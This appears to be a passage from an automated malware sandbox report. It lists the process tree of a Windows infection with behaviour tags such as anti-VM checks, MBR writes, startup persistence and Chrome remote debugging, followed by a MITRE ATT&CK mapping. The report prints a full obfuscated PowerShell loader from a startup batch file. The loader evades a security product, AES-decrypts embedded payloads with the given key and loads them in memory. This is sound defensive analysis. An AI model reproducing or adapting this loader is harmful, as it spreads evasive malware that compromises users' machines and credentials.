        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5004
      - C:\Users\Admin\AppData\Local\Temp\1014060001\800d760761.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\800d760761.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\1014060001\800d760761.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014060001\800d760761.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3772
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 952
        7⤵
        Program crash
        
        PID:1680
      - C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5076
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3620
      - C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3536
      - C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3288
        
        C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        7⤵
        Executes dropped EXE
        
        PID:1152
        
        C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        7⤵
        Executes dropped EXE
        
        PID:4236
        
        C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3016
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3288 -s 952
        7⤵
        Program crash
        
        PID:3008
      - C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3792
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1073578041\tYliuwV.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1912
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1692
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat';$MoqZ='DeKyLvcoKyLvmprKyLveKyLvssKyLv'.Replace('KyLv', ''),'EJwaGlemJwaGeJwaGnJwaGtJwaGAtJwaG'.Replace('JwaG', ''),'CrgSdPegSdPagSdPtgSdPegSdPDecgSdPrypgSdPtorgSdP'.Replace('gSdP', ''),'EnAUSatAUSaryAUSaPAUSaoiAUSantAUSa'.Replace('AUSa', ''),'RifKyeaifKydifKyLiifKyneifKysifKy'.Replace('ifKy', ''),'CoIpkTpyIpkTTIpkToIpkT'.Replace('IpkT', ''),'LRxQFoRxQFaRxQFdRxQF'.Replace('RxQF', ''),'ChPYPIanPYPIgPYPIePYPIExPYPItenPYPIsioPYPInPYPI'.Replace('PYPI', ''),'SplhjTaihjTathjTa'.Replace('hjTa', ''),'IVERYnvoVERYkeVERY'.Replace('VERY', ''),'MaGACXinMGACXoduGACXlGACXeGACX'.Replace('GACX', ''),'GetEffVCuEffVrreEffVnEffVtPEffVroEffVceEffVsEffVsEffV'.Replace('EffV', ''),'TrgFlMagFlMnsgFlMfogFlMrmgFlMFingFlMalgFlMBgFlMlogFlMcgFlMkgFlM'.Replace('gFlM', ''),'FZnjbroZnjbmBaZnjbseZnjb64ZnjbSZnjbtZnjbrinZnjbgZnjb'.Replace('Znjb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($MoqZ[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function OcByW($zyHkO){$MahHK=[System.Security.Cryptography.Aes]::Create();$MahHK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MahHK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MahHK.Key=[System.Convert]::($MoqZ[13])('AAMGkknb01QKxJVl43m9//ZRwVkG6pEiu9VVo6uyG5U=');$MahHK.IV=[System.Convert]::($MoqZ[13])('/W6oLxKJHKSzHfvUm38XsQ==');$RyLXH=$MahHK.($MoqZ[2])();$Vocox=$RyLXH.($MoqZ[12])($zyHkO,0,$zyHkO.Length);$RyLXH.Dispose();$MahHK.Dispose();$Vocox;}function dAZyU($zyHkO){$CHeOb=New-Object System.IO.MemoryStream(,$zyHkO);$PxKaw=New-Object System.IO.MemoryStream;$ikNUp=New-Object System.IO.Compression.GZipStream($CHeOb,[IO.Compression.CompressionMode]::($MoqZ[0]));$ikNUp.($MoqZ[5])($PxKaw);$ikNUp.Dispose();$CHeOb.Dispose();$PxKaw.Dispose();$PxKaw.ToArray();}$ygeKx=[System.IO.File]::($MoqZ[4])([Console]::Title);$WLLeN=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 5).Substring(2))));$PCQGF=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 6).Substring(2))));[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$PCQGF).($MoqZ[3]).($MoqZ[9])($null,$null);[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$WLLeN).($MoqZ[3]).($MoqZ[9])($null,$null); "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3156
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        8⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3240
      - C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:632
      - C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4604
      - C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3412
        
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5724
      - C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4032
      - C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3140
      - C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4420
      - C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4356
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4356 -s 1520
        7⤵
        Program crash
        
        PID:4164
      - C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3244
        
        C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3984
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:2808
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7fff7195cc40,0x7fff7195cc4c,0x7fff7195cc58
        9⤵
        
        PID:2008
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2088,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2084 /prefetch:2
        9⤵
        
        PID:4348
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1900,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2136 /prefetch:3
        9⤵
        
        PID:5020
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2284,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2472 /prefetch:8
        9⤵
        
        PID:3572
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3192 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:188
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3216,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3224 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:2872
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3804,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4508 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3996
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4720,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4728 /prefetch:8
        9⤵
        
        PID:3852
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4712,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4704 /prefetch:8
        9⤵
        
        PID:3108
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4816,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4884 /prefetch:8
        9⤵
        
        PID:2836
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4752,i,14079284856284679580,575256862384872205,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4972 /prefetch:8
        9⤵
        
        PID:5160
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 964
        7⤵
        Program crash
        
        PID:4792
      - C:\Users\Admin\AppData\Local\Temp\1085139001\C3hYpvm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1085139001\C3hYpvm.exe"
        6⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4024
      - C:\Users\Admin\AppData\Local\Temp\1086173001\oVpNTUm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1086173001\oVpNTUm.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1672
      - C:\Users\Admin\AppData\Local\Temp\1086621001\3omTNLZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1086621001\3omTNLZ.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5508
      - C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe"
        6⤵
        Executes dropped EXE
        
        PID:6128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2504 -ip 2504
1⤵
PID:1432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3288 -ip 3288
1⤵
PID:1772

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 232 -p 3244 -ip 3244
1⤵
PID:552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4356 -ip 4356
1⤵
PID:3364

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5168

C:\ProgramData\unlojh\hntw.exe
"C:\ProgramData\unlojh\hntw.exe" start2
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:5788

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Authentication Process

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion